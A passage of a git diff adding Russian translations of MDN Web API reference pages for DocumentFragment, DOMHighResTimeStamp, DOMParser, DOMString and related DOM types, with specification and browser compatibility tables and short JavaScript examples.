+ <dd>Возвращает <code>unsigned long</code> - число потомков объекта <code>DocumentFragment</code>.</dd>
+</dl>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }} {{experimental_inline}}</dt>
+ <dd>Возвращает пустой объект <code>DocumentFragment</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс наследует методы его родителя, {{domxref("Node")}}<em>, и реализует их из интерфейса {{domxref("ParentNode")}}</em></em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.find()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает первое совпадение {{domxref("Element")}} в дереве <code>DocumentFragment</code>.</dd>
+ <dt>{{domxref("DocumentFragment.findAll()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает список {{domxref("NodeList")}} найденных {{domxref("Element")}} в дереве <code>DocumentFragment</code>.</dd>
+ <dt>{{domxref("DocumentFragment.querySelector()")}}</dt>
+ <dd>Возвращает первый узел {{domxref("Element")}} в <code>DocumentFragment</code>, в порядке документа, который совпадает с заданным селектором.</dd>
+ <dt>{{domxref("DocumentFragment.querySelectorAll()")}}</dt>
+ <dd>Возвращает список {{domxref("NodeList")}} всех узлов {{domxref("Element")}} в <code>DocumentFragment</code> которые совпадают с заданным селектором.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.getElementById()")}}</dt>
+ <dd>Возвращает первый узел {{domxref("Element")}} в <code style="font-size: 14px;">DocumentFragment</code>, в порядке документа, который совпадает с заданным ID.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Добавлены конструктор и реализация {{domxref("ParentNode")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td>Добавлены методы <code>find()</code> и <code>findAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Добавлены методы <code>querySelector()</code> и <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Нет изменений с {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Нет изменений с {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>querySelector()</code> и <code>querySelectorAll()</code></td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8.0</td>
+   <td>10.0</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>findAll()</code> и <code>find() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>DocumentFragment() </code>конструктор {{experimental_inline}}</p>
+   </td>
+   <td>28.0</td>
+   <td>{{CompatGeckoDesktop("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Свойства<code> ParentNode </code>{{experimental_inline}}</td>
+   <td>28.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Методы <code>ParentNode</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>querySelector()</code> и <code>querySelectorAll()</code></td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>8.0</td>
+   <td>10.0</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>findAll()</code> и <code>find() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>DocumentFragment()</code> конструктор {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Свойства <code>ParentNode</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>5.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Методы <code>ParentNode</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">Интерфейсы DOM.</a></li>
+</ul>
diff --git a/files/ru/web/api/domhighrestimestamp/index.html b/files/ru/web/api/domhighrestimestamp/index.html
new file mode 100644
index 0000000000..a1c1ad1148
--- /dev/null
+++ b/files/ru/web/api/domhighrestimestamp/index.html
@@ -0,0 +1,101 @@
+---
+title: DOMHighResTimeStamp
+slug: Web/API/DOMHighResTimeStamp
+translation_of: Web/API/DOMHighResTimeStamp
+---
+<p>{{APIRef("High Resolution Time")}}</p>
+
+<p><span class="seoSummary">Тип <code><strong>DOMHighResTimeStamp</strong></code> является <code>double</code> и используется для хранения значения времени в миллисекундах.</span> Этот тип может быть использован для описания конкретной точки во времени или временного промежутка (разницы во времени между двумя конкретными временными точками).</p>
+
+<p>Время, в миллисекундах, скорее всего будет точным до 5 µs (микросекунд) и дробную долю числа будут составлять доли милисекунды. Тем не менее, если браузер (в силу, к примеру, аппаратных или программных ограничений) не может предоставить значение времени с точностью до 5 µs, он может представить значение как время в миллисекундах с точностью до миллисекунды. Также обратите внимание на секцию внизу об уменьшении точности времени, которое можно указать в настройках браузера дабы избежать атак по времени и сличения информации с помощью цифровых отпечатков.</p>
+
+<p>Кроме того, если устройство или операционная система на который работает user agent не имеет часов, точных до микросекунд, они могут иметь точность до миллисекунды.</p>
+
+<h2 id="Уменьшенная_точность_времени">Уменьшенная точность времени</h2>
+
+<p>Для предоставления защиты от атак по времени и сличения информации с помощью цифровых отпечатков, точность отметок времени может округляться в зависимости от настроек браузера. В Firefox свойство <code>privacy.reduceTimerPrecision</code> включено по умолчанию и имеет значение 20 µs в Firefox 59; в 60 оно уже имеет значение 2ms.</p>
+
+<pre class="brush: js">// уменьшенная точность времени (2ms) в Firefox 60
+event.timeStamp
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// уменьшенная точность времени с включенным `privacy.resistFingerprinting`
+event.timeStamp;
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>В Firefox, вы также можете включить <code>privacy.resistFingerprinting</code>, точность будет 100ms или значением <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, в зависимости от того, какое из них больше.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>У этого типа нет свойств. Это число двойной точности с плавающей запятой.</em></p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Значение <code>DOMHighResTimeStamp</code> является числом двойной точности с плавающей запятой, которое описывает количество миллисекунд (с точностью до 5 микросекунд, если устройство это поддерживает), прошедших между двумя точками во времени. Начальное время может быть либо определённым временем, определённым скриптом или приложением, или <strong>временем возникновения</strong>.</p>
+
+<h4 id="Время_возникновения">Время возникновения</h4>
+
+<p><strong>Время возникновения </strong>— стандартное время, которое считается началом существования текущего документа. Оно считается следующим образом:</p>
+
+<ul>
+ <li>Если {{Glossary("global object")}} скрипта - {{domxref("Window")}}, время возникновения определяется следующим образом:
+  <ul>
+   <li>Если текущий {{domxref("Document")}} - первый загруженный в <code>Window</code>, время возникновения - время, когда был создан контекст браузера.</li>
+   <li>Если во время выгрузки предыдущего документа, который был загружен в окне, пользователю было показано диалоговое окно, в котором он должен был подтвердить покинет он предыдущую страницу или нет, время возникновения это время когда пользователь подтвердить что он желает перейти на новую страницу.</li>
+   <li>Если ни один из вышеописанных пунктов не определяет время возникновения, тогда время возникновения это время, когда переход, который результировал в создании текущего <code>Document</code> имел место.</li>
+  </ul>
+ </li>
+ <li>Если глобальный обьект скрипта — {{domxref("WorkerGlobalScope")}} (тоесть скрипт, запущенный как Web Worker), время возникновения - момент создания Worker-а.</li>
+ <li>Во всех остальных случаях время возникновения - undefined.</li>
+</ul>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>У этого типа нет методов.</em></p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-domhighrestimestamp', 'DOMHighResTimeStamp')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Более строгие описания интерфейсов и типов</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#sec-DOMHighResTimeStamp', 'DOMHighResTimeStamp')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.DOMHighResTimestamp")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Navigation_timing" title="/en-US/docs/Navigation_timing">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Performance/now">performance.now()</a></li>
+</ul>
diff --git a/files/ru/web/api/domparser/index.html b/files/ru/web/api/domparser/index.html
new file mode 100644
index 0000000000..a23e5cb58e
--- /dev/null
+++ b/files/ru/web/api/domparser/index.html
@@ -0,0 +1,230 @@
+---
+title: DOMParser
+slug: Web/API/DOMParser
+tags:
+  - API
+  - DOM
+  - XML
+  - Экспериментальное
+translation_of: Web/API/DOMParser
+---
+<p>{{APIRef("DOM")}}{{SeeCompatTable}}</p>
+
+<p><code>DOMParser</code> может парсить XML или HTML источник содержащийся в строке в DOM <a href="/en-US/docs/DOM/document" title="document">Document</a>. Спецификация <code>DOMParser находится в</code> <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a>.</p>
+
+<p>Заметьте, что <a href="/en-US/docs/DOM/XMLHttpRequest" title="DOM/XMLHttpRequest">XMLHttpRequest</a> поддерживает парсинг XML и HTML из интернет ресурсов (по ссылке)</p>
+
+<h2 id="Создание_DOMParser">Создание DOMParser</h2>
+
+<p>Для того чтобы создать <code>DOMParser</code> просто используйте <code>new DOMParser()</code>.</p>
+
+<p>Для большей информации о создании <code>DOMParser</code> в расширениях Firefox, пожалуйста прочитайте документацию : <a href="/en-US/docs/nsIDOMParser" title="nsIDOMParser"><code>nsIDOMParser</code></a>.</p>
+
+<h2 id="Парсинг_XML">Парсинг XML</h2>
+
+<p>Как только вы создали объект парсера, вы можете парсить XML из строки, используя метод <code>parseFromString</code>:</p>
+
+<pre class="brush: js">var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+</pre>
+
+<h3 id="Error_handling" name="Error_handling">Обработка ошибок</h3>
+
+<p>Заметьте, если процесс парсинга не удастся , <code>DOMParser</code> теперь не выдает исключение, но вместо этого выдает документ ошибки (see {{Bug(45566)}}):</p>
+
+<pre class="brush:xml">&lt;parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"&gt;
+(Описание ошибки)
+&lt;sourcetext&gt;(отрывок XML документа)&lt;/sourcetext&gt;
+&lt;/parsererror&gt;
+</pre>
+
+<p>Ошибки синтаксического анализа также сообщаются в <a href="/en-US/docs/Error_Console" title="Error Console">консоль ошибок</a>, с идентификатором URI документа (см. Ниже) в качестве источника ошибки.</p>
+
+<h2 id="Разбор_SVG_или_HTML">Разбор SVG или HTML</h2>
+
+<p><code>DOMParser</code> так же может быть использован для разбора SVG документа {{geckoRelease("10.0")}} или HTML документа {{geckoRelease("12.0")}}. На выходе возможны 3 варианта, в зависимости от переданного MIME типа. Если MIME тип передан как <code>text/xml</code>, результирующий объект будет типа <code>XMLDocument</code>, если <code>image/svg+xml</code>, соответственно <code>SVGDocument,</code> а для MIME типа <code>text/html<font face="Open Sans, Arial, sans-serif"> - </font></code><code>HTMLDocument</code>.</p>
+
+<pre class="brush: js">var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+// возвращает Document, но не SVGDocument или HTMLDocument
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingXMLSource, "image/svg+xml");
+// возвращает SVGDocument, который так же является экземпляром класса Document.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html");
+// возвращает  HTMLDocument, который так же является экземпляром класса Document.
+</pre>
+
+<h3 id="DOMParser_HTML_для_устаревших_браузеров">DOMParser HTML для устаревших браузеров</h3>
+
+<pre class="brush: js">/*
+ * DOMParser HTML extension
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * КОД РАСПРОСТРАНЯЕТСЯ БЕЗ КАКИХ ЛИБО ГАРАНТИЙ. ИСПОЛЬЗУЙТЕ НА СВОЙ СТРАХ И РИСК.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var
+	  proto = DOMParser.prototype
+	, nativeParse = <span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString</span>
+	;
+
+	// Firefox/Opera/IE throw errors on unsupported types
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
+			return;
+		}
+	} catch (ex) {}
+
+	<span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString = function(markup, type) {</span>
+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('&lt;!doctype') &gt; -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return <span style="font-size: 1rem;">nativeParse</span><span style="font-size: 1rem;">.apply(this, arguments);</span>
+		}
+	};
+}(DOMParser));
+</pre>
+
+<h3 id="DOMParser_from_ChromeJSMXPCOMPrivileged_Scope">DOMParser from Chrome/JSM/XPCOM/Privileged Scope</h3>
+
+<p>Смотрите статью по ссылке: <a href="/en-US/docs/nsIDOMParser">nsIDOMParser</a></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#the-domparser-interface', 'DOMParser')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(8)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(10.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatChrome(30)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(12.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(17)}}</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(10.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(12.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Анализ и сериализация XML</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest" title="DOM/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a></li>
+ <li><a href="/en-US/Add-ons/Code_snippets/HTML_to_DOM">Parsing HTML to DOM</a></li>
+</ul>
diff --git a/files/ru/web/api/domstring/index.html b/files/ru/web/api/domstring/index.html
new file mode 100644
index 0000000000..cfc59b52c1
--- /dev/null
+++ b/files/ru/web/api/domstring/index.html
@@ -0,0 +1,50 @@
+---
+title: DOMString
+slug: Web/API/DOMString
+translation_of: Web/API/DOMString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>DOMString</code></strong> - это UTF-16 String. Так как JavaScript уже использует такие строки, <code>DOMString</code> непосредственно соответствует {{jsxref("String")}}.</p>
+
+<p>Передача <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code> в метод или параметр принимающему DOMString, как правило приводится к "null"<code>.</code></p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Перефразированное описание для удаления странных крайних случаев.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Не изменилось с {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Не изменилось с {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/Web/API/DOMString">String</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/String_view" title="/en-US/docs/Web/JavaScript/Typed_arrays/String_view"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/ru/web/api/domstringlist/index.html b/files/ru/web/api/domstringlist/index.html
new file mode 100644
index 0000000000..2a643869ce
--- /dev/null
+++ b/files/ru/web/api/domstringlist/index.html
@@ -0,0 +1,43 @@
+---
+title: DOMStringList
+slug: Web/API/DOMStringList
+translation_of: Web/API/DOMStringList
+---
+<p>{{APIRef("DOM")}}{{Obsolete_header}}</p>
+
+<p>Тип возвращаемый некоторыми API, который содержит список <a class="internal" href="/En/DOM/DOMString" title="En/DOM/DOMString">DOMString</a> (строки).</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("DOMStringList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает длинну списка.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("DOMStringList.item()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("DOMStringList.contains()")}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}} с указанием, есть ли данная строка в списке.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификациии</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#DOMStringList", "DOMStringList")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/domstringmap/index.html b/files/ru/web/api/domstringmap/index.html
new file mode 100644
index 0000000000..bea01845fe
--- /dev/null
+++ b/files/ru/web/api/domstringmap/index.html
@@ -0,0 +1,99 @@
+---
+title: DOMStringMap
+slug: Web/API/DOMStringMap
+tags:
+  - API
+translation_of: Web/API/DOMStringMap
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><span class="seoSummary">Used by the {{ htmlattrxref("dataset") }} HTML attribute to represent data for custom attributes added to elements.</span></p>
+
+<h2 id="Доступные_методы">Доступные методы</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>DOMString <a href="#getDataAttr()">getDataAttr</a>(in DOMString prop);</code></td>
+  </tr>
+  <tr>
+   <td><code>boolean <a href="#hasDataAttr()">hasDataAttr</a>(in DOMString prop);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeDataAttr()">removeDataAttr</a>(in DOMString prop);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeProp()">removeProp</a>(in nsIAtom attr);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setDataAttr()">setDataAttr</a>(in DOMString prop, in DOMString value);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<h3 id="hasDataAttr()">hasDataAttr()</h3>
+
+<pre class="eval">boolean hasDataAttr(
+  in DOMString prop
+);
+</pre>
+
+<h4 id="Аргументы">Аргументы</h4>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>The property for which to check for the existence of a value.</dd>
+</dl>
+
+<h4 id="Возвращаемое_значение">Возвращаемое значение</h4>
+
+<p><code>true</code> if the property exists; otherwise <code>false</code>.</p>
+
+<h3 id="removeDataAttr()">removeDataAttr()</h3>
+
+<pre class="eval">void removeDataAttr(
+  in DOMString prop
+);
+</pre>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>The property to remove from the data set.</dd>
+</dl>
+
+<h3 id="removeProp()">removeProp()</h3>
+
+<p>Removes the property from the dataset object. Used to update the dataset object when data-* attribute has been removed from the element.</p>
+
+<pre class="eval">void removeProp(
+  in nsIAtom attr
+);
+</pre>
+
+<h4 id="Parameters_2">Parameters</h4>
+
+<dl>
+ <dt><code>attr</code></dt>
+ <dd>The property to remove from the dataset.</dd>
+</dl>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.DOMStringMap")}}</p>
+
+<h2 id="См._далее">См. далее</h2>
+
+<ul>
+ <li>{{ domxref("HTMLElement.dataset") }}</li>
+ <li>{{ htmlattrxref("dataset") }}</li>
+</ul>
diff --git a/files/ru/web/api/domtokenlist/index.html b/files/ru/web/api/domtokenlist/index.html
new file mode 100644
index 0000000000..d0b34d6749
--- /dev/null
+++ b/files/ru/web/api/domtokenlist/index.html
@@ -0,0 +1,111 @@
+---
+title: DOMTokenList
+slug: Web/API/DOMTokenList
+translation_of: Web/API/DOMTokenList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong>DOMTokenList </strong>интерфейс представляет собой набор разделённых пробелами токенов. Такой набор возвращается от {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}}, {{domxref("HTMLAreaElement.relList")}}, {{domxref("HTMLIframeElement.sandbox")}}, или {{domxref("HTMLOutputElement.htmlFor")}}. Он в начале индексируется 0 как в объектах JavaScript.  DOMTokenList всегда чувствителен к регистру.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>- целое число, которое представляет собой число объектов хранящееся в объекте</dd>
+ <dt>{{domxref("DOMTokenList.value")}}</dt>
+ <dd>Список значений  {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.item()")}}</dt>
+ <dd>Возвращает элемент из списка по индексу (возвращает <code>undefined</code> если число больше или равно длине списка).</dd>
+ <dt>{{domxref("DOMTokenList.contains()")}}</dt>
